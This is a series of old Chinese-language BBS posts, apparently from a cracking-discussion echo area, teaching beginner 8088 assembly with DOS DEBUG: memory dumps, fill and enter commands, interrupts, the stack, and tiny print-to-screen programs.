1FED:0100 BA0901 MOV DX,0109
1FED:0103 B409 MOV AH,09
1FED:0105 CD21 INT 21
1FED:0107 CD20 INT 20
1FED:0109 48 DEC AX
1FED:010A 6F DB 6F
1FED:010B 7720 JA 012D
1FED:010D 61 DB 61
1FED:010E 7265 JB 0175
1FED:0110 20796F AND [BX+DI+6F],BH
1FED:0113 752C JNZ 0141
1FED:0115 205355 AND [BP+DI+55],DL
1FED:0118 2400 AND AL,00
-
1FED:0100 BA 09 01 B4 09 CD 21 CD-20 48 6F 77 20 61 72 65 ......!. How are
1FED:0110 20 79 6F 75 2C 20 53 55-24 00 00 00 00 00 00 00 you, SU$.......
1FED:0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED-
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
日期 : Tue May 14, 12:10
來自 : Jerry Cls 39:40/103
給 : All
標題 : ASM6
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 當我們在寫組合語言程式的時候,通常不會直接將十六進位的
位元組(機器碼)放入記憶體中,而是打入一串『助憶符號』
(Mnemonic Symbols),這些符號比十六進位數更容易記住。
※ 助憶符號是以2或3個字元的名稱來代表某個組合語言指令
,以告訴微處理機應執行何種運算。
※ 也就是說,助憶符號所構成的組合語言是為人類而設計的,
而機器語言是針對 PC 的特性而設計的。
※ 事實上,8088 微處理機真正所能讀取和了解的並非十六進位
數值,而是二進位數或是位元形式;十六進位數只是使人類
更易了解二進位數字的一種表示方式而已。
※ 還記得 ASCII 碼?現在,我們來剖析一個可以將所有的 ASCII
碼顯示在螢幕上的程式。
※ 請將存在磁碟中的程式 ASCII.COM 載入並執行。
1.請輸入 DEBUG ASCII.COM
2.請輸入 U100,10E
1FED:0100 B90001 MOV CX,0100
1FED:0103 B200 MOV DL,00
1FED:0105 B402 MOV AH,02
1FED:0107 CD21 INT 21
1FED:0109 FEC2 INC DL
1FED:010B E2F8 LOOP 0105
1FED:010D CD20 INT 20
-
※ INC:遞增指令,每次將資料暫存器 DL 內的數值加 1 。
※ LOOP:迴圈指令,將執行次數放入計數暫存器 CX 中,每執行
一次 LOOP 指令,CX 的內容值減 1 ,並跳回迴圈的開頭位址
(105),直到 CX 為 0 。
1.請輸入 G
※ 當我們想在螢幕上任意地顯示字串(例如:開機時電腦會向您
問侯),則可以使用 DOS 的 9H 號函數服務常式。
※ 請輸入下列程式,存入磁碟(HALLO.COM)中,並執行看看:
1.請輸入 A100
2.請輸入 MOV DX,109
3.請輸入 MOV AH,9
4.請輸入 INT 21
5.請輸入 INT 20
6.請輸入 DB 'HOW ARE YOU, SU$'
※ 列印字串功能:DOS 的 09h 號函數服務。
※ 輸入:AH=9 DS:DX = 字串的啟始位址
※ 執行:INT 21 結果:字串顯示在螢幕上
DX:字串的偏移位址,即實際的啟始位址。
DS:字串的段位址,DEBUG 會自動檢查其值,目前不必管它。
※ 在組合語言中,有兩種不同的指令:
1.正規指令:如 MOV 等,是屬於微處理機的指令,用來告訴 8088
微處理機在程式執行時應做些什麼,所以它會以運
算碼(OP-code)的方式存入記憶體中。
2.虛擬指令:如 DB 等,是屬於 DEBUG 等組譯器的指令,用來
告訴組譯器在組譯程式時應做些什麼。
※ DB(Define Byte)指令用來告訴 DEBUG 將其後面單引號內的
所有字元對應的位元組(ASCII 碼)放入記憶體中。
※ 使用 9H 功能列印的字串必須以 $ 符號結尾。
※ 想查看 DB 虛擬指令將那些位元組放入記憶體時,使用U命令
並沒有太大的用處,此時改用D命令則可得到較佳的效果。
5.請輸入 U100,118
6.請輸入 D100,17F
1FED:0100 BA0901 MOV DX,0109
1FED:0103 B409 MOV AH,09
1FED:0105 CD21 INT 21
1FED:0107 CD20 INT 20
1FED:0109 48 DEC AX
1FED:010A 6F DB 6F
1FED:010B 7720 JA 012D
1FED:010D 61 DB 61
1FED:010E 7265 JB 0175
1FED:0110 20796F AND [BX+DI+6F],BH
1FED:0113 752C JNZ 0141
1FED:0115 205355 AND [BP+DI+55],DL
1FED:0118 2400 AND AL,00
-
1FED:0100 BA 09 01 B4 09 CD 21 CD-20 48 6F 77 20 61 72 65 ......!. How are
1FED:0110 20 79 6F 75 2C 20 53 55-24 00 00 00 00 00 00 00 you, SU$.......
1FED:0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED-
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
MASM_5
信區 : 破解網-破解技術討論區
日期 : Tue May 14, 09:37
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm5
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 想不想改變記憶體的內容?最簡單的方法就是使用F命令。
※ F命令可在記憶體中填入(Fill)一個特定的十六進位數。
※ 語法:『F<啟始位址> <結束位址> <填入值>』
1.首先,請輸入 F100 17F 00
2.然後,再輸入 D100
1FED:0100 5F 5E 5D C2 02 00 01 00-00 00 0C 00 0D 00 0B 00 _^].............
1FED:0110 0F 00 10 00 0E 00 BA 36-15 B9 04 00 E9 E5 F2 50 .......6.......P
1FED:0120 B8 01 00 50 2B C0 50 E8-91 55 0B C0 79 08 B4 40 ...P+.P..U..y..@
1FED:0130 E8 A7 2D F9 EB 04 E8 10-06 F8 C3 E8 89 FB 74 01 ..-...........t.
1FED:0140 C3 B8 71 00 E9 61 2E A9-10 00 75 1A E8 78 FB BA ..q..a....u..x..
1FED:0150 00 00 C3 A1 A0 30 A3 86-30 B8 0D 00 E9 1C 2E 83 .....0..0.......
1FED:0160 3E 12 2F 3C 73 ED 57 FF-36 12 2F B8 27 00 E8 D3 >./<s.W.6./.'...
1FED:0170 0D BF 25 00 74 0D 2B FF-B8 C2 00 E8 C6 0D 75 06 ..%.t.+.......u.
-F100 17F 00
-D100
1FED:0100 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0110 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
3.記憶位置 100 到 17F 現在都已填入 00,這正是F命令所指定
的。
※ E命令是用來輸入(Enter)一串位元組的資料到記憶體中,
以構成程式。
※ 要將此程式插入記憶體中,只要在E命令後面跟著程式所要
存放的位址即可。
1.首先,請輸入 E100
2.然後,再輸入 B2 01 B4 02 CD 21 CD 20
3.現在您已將程式放入記憶體中了,請輸入 G
4.畫面上將出現此程式執行的結果。
Program terminated normally
※ 由於機器碼是給電腦看的,當然不適合用來寫程式。
※ 我們可以使用組合語言指令直接來編寫程式,A命令就是用來
將組合語言指令『組譯,Assemble』成十六進位數值的機器碼。
※ 以 DEBUG 編寫的程式一定要由位址 100h 開始才有效。
1.請依序輸入 A100
2.請依序輸入 MOV DL,1
3.請依序輸入 MOV AH,2
4.請依序輸入 INT 21
5.請依序輸入 INT 20
6.請按 Enter 鍵
7.現在您已經將組合語言程式放入記憶體中了,請輸入 G
8.畫面上所出現的結果將與用E命令編寫的程式一樣。
Program terminated normally
9.請輸入 D100
10.位址 100 到 107 就是程式的內容,與E編寫的機器碼一樣。
1FED:0100 B2 01 B4 02 CD 21 CD 20-00 00 00 00 00 00 00 00 .....!. ........
1FED:0110 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
※ 我們可以用U命令將十六進位的機器碼反組譯(Unassemble)
成組合語言指令,語法:『U<啟始位址>,<終止位址>』
※ 您將發現:每一行右邊的組合語言指令就是被組譯成中間相
對的機器碼,而 8088 實際上就是以機器碼來執行程式。
1.請輸入 U100,106
1FED:0100 B201 MOV DL,01
1FED:0102 B402 MOV AH,02
1FED:0104 CD21 INT 21
1FED:0106 CD20 INT 20
MOV DL,01
MOV AH,02
INT 21
INT 20
※ MOV A,B 將 B 的內容移(MOVe)到 A 中。
※ MOV DL,01 將數值 01h 移入 DL 暫存器
※ MOV AH,01 將數值 01h 移入 DL 暫存器
※ DOS 功能服務是存在於 ROM-BIOS 與 IO.SYS 內的輸出入常式
,我們可以利用 INT 21 來呼叫,其過程為:
1.中斷要求先被送到 MSDOS.SYS 部份
2.依 AH 的值,轉送到 IO.SYS 或 ROM-BIOS 中的適當常式。
※ INT:呼叫由中斷(Interrupt)向量所指的常式。
※ 顯示器輸出功能:DOS 的 02h 號函數服務。
※ 輸入:AH=2 DL=字元之對應數值
※ 執行:INT 21 結果:字元顯示在螢幕上
※ INT 21:DOS 的中斷服務,由函數呼叫使用,程式可透過此
中斷來呼叫所有的 DOS 函數服務常式。
※ INT 20: DOS 的中斷服務,用來終止程式作業,使程式執行後,
將控制權交回給 DEBUG,並出現 Program terminated normally 訊息。
※ DEBUG 中可以用R命令來查看 8088 中的暫存器(Register)
,也可以用來改變暫存器的內容。
※ 您還記得每個暫存器所代表的意義嗎?
※ 請注意 IP 暫存器,它保存了目前將執行的指令位址。
1.請輸入 R
AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=1FED ES=1FED SS=1FED CS=1FED IP=0100 NV UP EI PL NZ NA PO NC
1FED:0100 B201 MOV DL,01
-
1.當程式由 100 開始執行,且以 INT 20 指令結束時,DEBUG 會
自動將 IP 的內容更新設定為 100。
※ 當您要將此程式做成一個獨立的外部程式,以便在 DOS 的提
示符號下隨時都可以執行,則必須用N命令對該程式命名。
※ 程式檔案一定要為 COM ,否則下次無法以 DEBUG 載入。
※ 語法:N<程式名稱>.COM
1.請輸入 NSMILE.COM
※ 接著,您必須告訴 DEBUG 此程式有多長:程式從 100 開始到
106,所以實際佔用 7 個位元組。
※ 我們利用 BX 暫存器 存放此值高位元組部分,而以 CX 暫存
器存放此值的低位元組部分。
2.請輸入 RBX (查看 BX 暫存器的內容)
3.因 BX 已設定為 0,請按 Enter 鍵
4.請輸入 RCX (查看 CX 暫存器的內容)
5.請輸入 7 (程式的位元組個數)
※ 最後,請用W命令將該程式寫入(Write)磁片中。
6.請輸入 W
待續!!!!!
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
日期 : Tue May 14, 09:37
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm5
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 想不想改變記憶體的內容?最簡單的方法就是使用F命令。
※ F命令可在記憶體中填入(Fill)一個特定的十六進位數。
※ 語法:『F<啟始位址> <結束位址> <填入值>』
1.首先,請輸入 F100 17F 00
2.然後,再輸入 D100
1FED:0100 5F 5E 5D C2 02 00 01 00-00 00 0C 00 0D 00 0B 00 _^].............
1FED:0110 0F 00 10 00 0E 00 BA 36-15 B9 04 00 E9 E5 F2 50 .......6.......P
1FED:0120 B8 01 00 50 2B C0 50 E8-91 55 0B C0 79 08 B4 40 ...P+.P..U..y..@
1FED:0130 E8 A7 2D F9 EB 04 E8 10-06 F8 C3 E8 89 FB 74 01 ..-...........t.
1FED:0140 C3 B8 71 00 E9 61 2E A9-10 00 75 1A E8 78 FB BA ..q..a....u..x..
1FED:0150 00 00 C3 A1 A0 30 A3 86-30 B8 0D 00 E9 1C 2E 83 .....0..0.......
1FED:0160 3E 12 2F 3C 73 ED 57 FF-36 12 2F B8 27 00 E8 D3 >./<s.W.6./.'...
1FED:0170 0D BF 25 00 74 0D 2B FF-B8 C2 00 E8 C6 0D 75 06 ..%.t.+.......u.
-F100 17F 00
-D100
1FED:0100 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0110 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
3.記憶位置 100 到 17F 現在都已填入 00,這正是F命令所指定
的。
※ E命令是用來輸入(Enter)一串位元組的資料到記憶體中,
以構成程式。
※ 要將此程式插入記憶體中,只要在E命令後面跟著程式所要
存放的位址即可。
1.首先,請輸入 E100
2.然後,再輸入 B2 01 B4 02 CD 21 CD 20
3.現在您已將程式放入記憶體中了,請輸入 G
4.畫面上將出現此程式執行的結果。
Program terminated normally
※ 由於機器碼是給電腦看的,當然不適合用來寫程式。
※ 我們可以使用組合語言指令直接來編寫程式,A命令就是用來
將組合語言指令『組譯,Assemble』成十六進位數值的機器碼。
※ 以 DEBUG 編寫的程式一定要由位址 100h 開始才有效。
1.請依序輸入 A100
2.請依序輸入 MOV DL,1
3.請依序輸入 MOV AH,2
4.請依序輸入 INT 21
5.請依序輸入 INT 20
6.請按 Enter 鍵
7.現在您已經將組合語言程式放入記憶體中了,請輸入 G
8.畫面上所出現的結果將與用E命令編寫的程式一樣。
Program terminated normally
9.請輸入 D100
10.位址 100 到 107 就是程式的內容,與E編寫的機器碼一樣。
1FED:0100 B2 01 B4 02 CD 21 CD 20-00 00 00 00 00 00 00 00 .....!. ........
1FED:0110 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1FED:0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
※ 我們可以用U命令將十六進位的機器碼反組譯(Unassemble)
成組合語言指令,語法:『U<啟始位址>,<終止位址>』
※ 您將發現:每一行右邊的組合語言指令就是被組譯成中間相
對的機器碼,而 8088 實際上就是以機器碼來執行程式。
1.請輸入 U100,106
1FED:0100 B201 MOV DL,01
1FED:0102 B402 MOV AH,02
1FED:0104 CD21 INT 21
1FED:0106 CD20 INT 20
MOV DL,01
MOV AH,02
INT 21
INT 20
※ MOV A,B 將 B 的內容移(MOVe)到 A 中。
※ MOV DL,01 將數值 01h 移入 DL 暫存器
※ MOV AH,01 將數值 01h 移入 DL 暫存器
※ DOS 功能服務是存在於 ROM-BIOS 與 IO.SYS 內的輸出入常式
,我們可以利用 INT 21 來呼叫,其過程為:
1.中斷要求先被送到 MSDOS.SYS 部份
2.依 AH 的值,轉送到 IO.SYS 或 ROM-BIOS 中的適當常式。
※ INT:呼叫由中斷(Interrupt)向量所指的常式。
※ 顯示器輸出功能:DOS 的 02h 號函數服務。
※ 輸入:AH=2 DL=字元之對應數值
※ 執行:INT 21 結果:字元顯示在螢幕上
※ INT 21:DOS 的中斷服務,由函數呼叫使用,程式可透過此
中斷來呼叫所有的 DOS 函數服務常式。
※ INT 20: DOS 的中斷服務,用來終止程式作業,使程式執行後,
將控制權交回給 DEBUG,並出現 Program terminated normally 訊息。
※ DEBUG 中可以用R命令來查看 8088 中的暫存器(Register)
,也可以用來改變暫存器的內容。
※ 您還記得每個暫存器所代表的意義嗎?
※ 請注意 IP 暫存器,它保存了目前將執行的指令位址。
1.請輸入 R
AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=1FED ES=1FED SS=1FED CS=1FED IP=0100 NV UP EI PL NZ NA PO NC
1FED:0100 B201 MOV DL,01
-
1.當程式由 100 開始執行,且以 INT 20 指令結束時,DEBUG 會
自動將 IP 的內容更新設定為 100。
※ 當您要將此程式做成一個獨立的外部程式,以便在 DOS 的提
示符號下隨時都可以執行,則必須用N命令對該程式命名。
※ 程式檔案一定要為 COM ,否則下次無法以 DEBUG 載入。
※ 語法:N<程式名稱>.COM
1.請輸入 NSMILE.COM
※ 接著,您必須告訴 DEBUG 此程式有多長:程式從 100 開始到
106,所以實際佔用 7 個位元組。
※ 我們利用 BX 暫存器 存放此值高位元組部分,而以 CX 暫存
器存放此值的低位元組部分。
2.請輸入 RBX (查看 BX 暫存器的內容)
3.因 BX 已設定為 0,請按 Enter 鍵
4.請輸入 RCX (查看 CX 暫存器的內容)
5.請輸入 7 (程式的位元組個數)
※ 最後,請用W命令將該程式寫入(Write)磁片中。
6.請輸入 W
待續!!!!!
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
MASM_4
信區 : 破解網-破解技術討論區
日期 : Tue May 14, 09:34
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm4
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 編寫組合語言有兩種主要的方法:
1.使用『組譯程式:MASM』。
2.使用『除錯程式:DEBUG』。
※ DEBUG 其實並不能算是一個『組譯器程式,Assembly』,它的
主要用途在於『除錯』,即修正組合語言程式中的錯誤。
※ 不過,您也可以用 DEBUG 來編寫短的組合語言程式,尤其對
初學者而言,DEBUG 更是學習組合語言最佳的入門工具:
『操作容易』
※ 利用 DEBUG 來鍵入與執行程式,只要呼叫 DEBUG 即可,過
程簡單。
※ 使用組譯器時,必須用到文書編修程式、組譯器本身、LINK
以及 EXE2BIN 等程式,其中每一個程式都必須用到一系列相
當複雜的命令才能工作。
『額外列較少』
※ 真正的組合語言原始程式檔案中,所出現的程式敘述,必須
要在程式的開始與結尾設定一些額外的程式列,以供組譯器
所用。
※ 使用 DEBUG 可以避免一開始就碰到許多難以理解的程式列。
『較接近機器』
※ 使用 DEBUG 比使用組譯器更能接觸到電腦的實際運作情形。
※ DEBUG 所具的特性,可讓我們觸及電腦運作的最基本層次。
※ 以組合語言編寫程式時,遲早必須瞭解此層次,與學習使用
DEBUG 以除錯,所以先學習 DEBUG 似乎是一個好的開始。
『較適用於短程式』
※ 組譯器有許多很強的特性,是組譯大程式所不可或缺的。
※ 然而,對於初學者而言,DEBUG 已經夠用了。
※ 使用 DEBUG ,您可以更專心於組合語言的探索,而不必被組
譯器那些複雜的特性嚇著了。
『8088 的靈魂之窗』
※ 眼睛為靈魂之窗,DEBUG 可以說明 8088 的靈魂之窗。
※ DEBUG 除了能夠組譯程式之外,還可用來檢查和修改記憶體
位置、載入儲存和執行程式、以及檢查和修改暫存器。
※ 換句話說,DEBUG 是為了讓我們接觸 PC 的各種實體特性而
設計的。
※ 當您將包含 DEBUG 的磁片插入磁碟機A後,從鍵盤就可啟動
DEBUG,DOS 的提示符號 A> 就是在等您的下一個指示。
※ 在本系統中,若提示『請輸入 ...』,則在輸入該內容後,要
再按 Enter 鍵,若提到『請按 ...』,則直接按該鍵即可。
1.請輸入 DEBUG (記得加上 Enter 鍵)
2.出現在螢幕上的短線就是 DEBUG 的提示符號,表示 DEBUG 準
備接受您的命令了。
※ DEBUG 的命令都是由『單一字母』來表示,後面通常跟著一
個或數個數值。
※ D命令的作用是將記憶體的一部份傾印(Dump)在螢幕上。
※ 語法:『D<啟始位址>』
1.請輸入 D100
1FED:0100 5F 5E 5D C2 02 00 01 00-00 00 0C 00 0D 00 0B 00 _^].............
1FED:0110 0F 00 10 00 0E 00 BA 36-15 B9 04 00 E9 E5 F2 50 .......6.......P
1FED:0120 B8 01 00 50 2B C0 50 E8-91 55 0B C0 79 08 B4 40 ...P+.P..U..y..@
1FED:0130 E8 A7 2D F9 EB 04 E8 10-06 F8 C3 E8 89 FB 74 01 ..-...........t.
1FED:0140 C3 B8 71 00 E9 61 2E A9-10 00 75 1A E8 78 FB BA ..q..a....u..x..
1FED:0150 00 00 C3 A1 A0 30 A3 86-30 B8 0D 00 E9 1C 2E 83 .....0..0.......
1FED:0160 3E 12 2F 3C 73 ED 57 FF-36 12 2F B8 27 00 E8 D3 >./<s.W.6./.'...
1FED:0170 0D BF 25 00 74 0D 2B FF-B8 C2 00 E8 C6 0D 75 06 ..%.t.+.......u.
記憶體位址 實際位元組資料 相對的 ASCII 碼
※ 畫面上的每一對數值『兩個十六進位數字,00h~FFh』都代表
著某個憶體位置中儲存的『一個位元組資料』。
※ 每一列有 16 對數值,中間以短線將左、右 8 個位元組隔開
,以便容易閱讀。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
日期 : Tue May 14, 09:34
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm4
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 編寫組合語言有兩種主要的方法:
1.使用『組譯程式:MASM』。
2.使用『除錯程式:DEBUG』。
※ DEBUG 其實並不能算是一個『組譯器程式,Assembly』,它的
主要用途在於『除錯』,即修正組合語言程式中的錯誤。
※ 不過,您也可以用 DEBUG 來編寫短的組合語言程式,尤其對
初學者而言,DEBUG 更是學習組合語言最佳的入門工具:
『操作容易』
※ 利用 DEBUG 來鍵入與執行程式,只要呼叫 DEBUG 即可,過
程簡單。
※ 使用組譯器時,必須用到文書編修程式、組譯器本身、LINK
以及 EXE2BIN 等程式,其中每一個程式都必須用到一系列相
當複雜的命令才能工作。
『額外列較少』
※ 真正的組合語言原始程式檔案中,所出現的程式敘述,必須
要在程式的開始與結尾設定一些額外的程式列,以供組譯器
所用。
※ 使用 DEBUG 可以避免一開始就碰到許多難以理解的程式列。
『較接近機器』
※ 使用 DEBUG 比使用組譯器更能接觸到電腦的實際運作情形。
※ DEBUG 所具的特性,可讓我們觸及電腦運作的最基本層次。
※ 以組合語言編寫程式時,遲早必須瞭解此層次,與學習使用
DEBUG 以除錯,所以先學習 DEBUG 似乎是一個好的開始。
『較適用於短程式』
※ 組譯器有許多很強的特性,是組譯大程式所不可或缺的。
※ 然而,對於初學者而言,DEBUG 已經夠用了。
※ 使用 DEBUG ,您可以更專心於組合語言的探索,而不必被組
譯器那些複雜的特性嚇著了。
『8088 的靈魂之窗』
※ 眼睛為靈魂之窗,DEBUG 可以說明 8088 的靈魂之窗。
※ DEBUG 除了能夠組譯程式之外,還可用來檢查和修改記憶體
位置、載入儲存和執行程式、以及檢查和修改暫存器。
※ 換句話說,DEBUG 是為了讓我們接觸 PC 的各種實體特性而
設計的。
※ 當您將包含 DEBUG 的磁片插入磁碟機A後,從鍵盤就可啟動
DEBUG,DOS 的提示符號 A> 就是在等您的下一個指示。
※ 在本系統中,若提示『請輸入 ...』,則在輸入該內容後,要
再按 Enter 鍵,若提到『請按 ...』,則直接按該鍵即可。
1.請輸入 DEBUG (記得加上 Enter 鍵)
2.出現在螢幕上的短線就是 DEBUG 的提示符號,表示 DEBUG 準
備接受您的命令了。
※ DEBUG 的命令都是由『單一字母』來表示,後面通常跟著一
個或數個數值。
※ D命令的作用是將記憶體的一部份傾印(Dump)在螢幕上。
※ 語法:『D<啟始位址>』
1.請輸入 D100
1FED:0100 5F 5E 5D C2 02 00 01 00-00 00 0C 00 0D 00 0B 00 _^].............
1FED:0110 0F 00 10 00 0E 00 BA 36-15 B9 04 00 E9 E5 F2 50 .......6.......P
1FED:0120 B8 01 00 50 2B C0 50 E8-91 55 0B C0 79 08 B4 40 ...P+.P..U..y..@
1FED:0130 E8 A7 2D F9 EB 04 E8 10-06 F8 C3 E8 89 FB 74 01 ..-...........t.
1FED:0140 C3 B8 71 00 E9 61 2E A9-10 00 75 1A E8 78 FB BA ..q..a....u..x..
1FED:0150 00 00 C3 A1 A0 30 A3 86-30 B8 0D 00 E9 1C 2E 83 .....0..0.......
1FED:0160 3E 12 2F 3C 73 ED 57 FF-36 12 2F B8 27 00 E8 D3 >./<s.W.6./.'...
1FED:0170 0D BF 25 00 74 0D 2B FF-B8 C2 00 E8 C6 0D 75 06 ..%.t.+.......u.
記憶體位址 實際位元組資料 相對的 ASCII 碼
※ 畫面上的每一對數值『兩個十六進位數字,00h~FFh』都代表
著某個憶體位置中儲存的『一個位元組資料』。
※ 每一列有 16 對數值,中間以短線將左、右 8 個位元組隔開
,以便容易閱讀。
--- SuperBBS 1.17 (Reg)
* Origin: BEAR BBS OPEN:24HR TEL : (02)377-6746 (39:40/103)
PATH: 40/103 100
MASM_3
信區 : 破解網-破解技術討論區
日期 : Tue May 14, 09:32
來自 : Jerry Cls 39:40/103
給 : All
標題 : asm3
--------------------------------------------------------------------------------
@TID: FastEcho 1.40 17014
※ 電腦必須能夠對發生在其微處理機之外的事件有所反應。
※ 我們可以用兩種方法來達到此目的:
1.抽查法(pooling):電腦不斷地尋找需要注意的事件,
因而花掉很多時間在檢查工作上,故不被採用。
2.中斷法(Interrupting):電腦靜靜地做自己的事,直到
事件引起它的注意為止。
※ 『中斷法』使微處理機不會將時間浪費在尋找工作上,而是
當有事件要完成時,工作自己會來找微處理機;這是電腦作
業有效率的主要因素。
※ 中斷的主要觀念是:任何需要處理機照應的事,都以中斷的
形式來找處理機;依其功能的不同,可分成三類:
1.『硬體中斷』:是由某種外部設備(例如:磁碟機、鍵盤、
印表機等)要求照應而產生。
2.『邏輯中斷』:是由處理機本身在遭遇某些反常的情況(例
如:除以零)所產生的。
3.『軟體中斷』:用於一般大眾用的服務,由 ROM-BIOS 及
DOS 所提供。
※ 『軟體中斷』對個人電腦之作業非常重要,是組合語言與其
他高階語言溝通所最常用到的服務。
※ 堆疊(STACK)就是給電腦以不互相干擾的方式,放置其工作
資料之處,與中斷搭配,使電腦的效率及能力大增。
※ 堆疊的工作方式與自助餐館中,所使用的餐盤架一樣,放下
或取用盤子時,都由最上面開始,這就是『後進先出』原則。
※ 當電腦正忙著工作而接到一個中斷時,需要一個地方來保存
正在做的記錄,再去執行中斷服務。
※ 當中斷服務完成時,電腦也必須繼續原來正在做的事情。
※ 堆疊在電腦中的工作方式是:
1.有部份的記憶體(由高往低)供給堆疊儲存體使用。
2.用特殊堆疊暫存器 SS 指向堆疊所在的記憶區域。
3.堆疊的頂端則以 SP 暫存器來指示。
※ 身為電腦中樞神經的 8088 其實只知道除了它本身以外的
三樣東西:
1.會打它頭而要獲得照應的外部中斷。
2.與它交談的記憶體。
3.傳送資料進出記憶體以外任何地方唯一途徑的埠。
※ 亦即,8088 是經由中斷、記憶體的存取及埠來與外界溝通。
※ 埠(PORT)是 8088 微處理機用來替代和統一它與外界通訊
方式的機構。
※ 微處理機對於需要與之交談的任何東西,例如:鍵盤、磁碟
機、喇叭等,都會給一個埠以供使用。
※ 電腦是靠硬體來工作的,但卻需要靠思想來指導軀殼工作
『軟體』就是電腦的思想。
※ 軟體是用來使電腦順暢地運轉,其中,『作業系統』是軟
的最先鋒,也是最重要、最複雜的程式。
※ 作業系統『DOS』所做的大部份工作,是把一些非常冗
繁雜的細節隱藏起來,使得我們得以輕易地使用電腦。
※ 以設計的眼光來看,DOS成功的關鍵之一是『模組化』
※ 當設計者將DOS要做的工作清楚地區別成各模組時,它
被簡化,而且效率更高。
※ 當然,這些模組必須組織成一個小心定義的階層,其中各
層有其特定的工作,但卻不必考慮其他階層的工作細節。
※ 作業系統根據實際的需要,切割成六個主要模組:
1.『ROM-BIOS』:提供電腦所需基本和初步的服務。
2.『Boot Record』:用以載入 DOS。
3.『IO.SYS』:作為 ROM-BIOS 的可變擴充。
4.『MSDOS.SYS』:提供核心的 DOS 服務。
5.『COMMAND.COM』:處理您所鍵入的 DOS 命令。
6.『外部程式』:用以提供特殊服務的程式檔案。
※ 其中,MSDOS.SYS 為作業系統的『邏輯部份』
,而 ROM-BIOS 及 IO.SYS 則構成『實體部份』。
※ 我們常用的磁碟作業系統『MS-DOS』,通常是指
ROM-BIOS 以外的模組。
※ 我們可將整個作業系統想像成『 DOS 股份有限公司』,那
系統的各部份就相當於公司內不同的『階層』。
※ 『唯讀記憶體中的基本輸出入系統,ROM-BIOS』提供了 D
某些最基本和初步的服務,相當於工廠中實際工作的工人
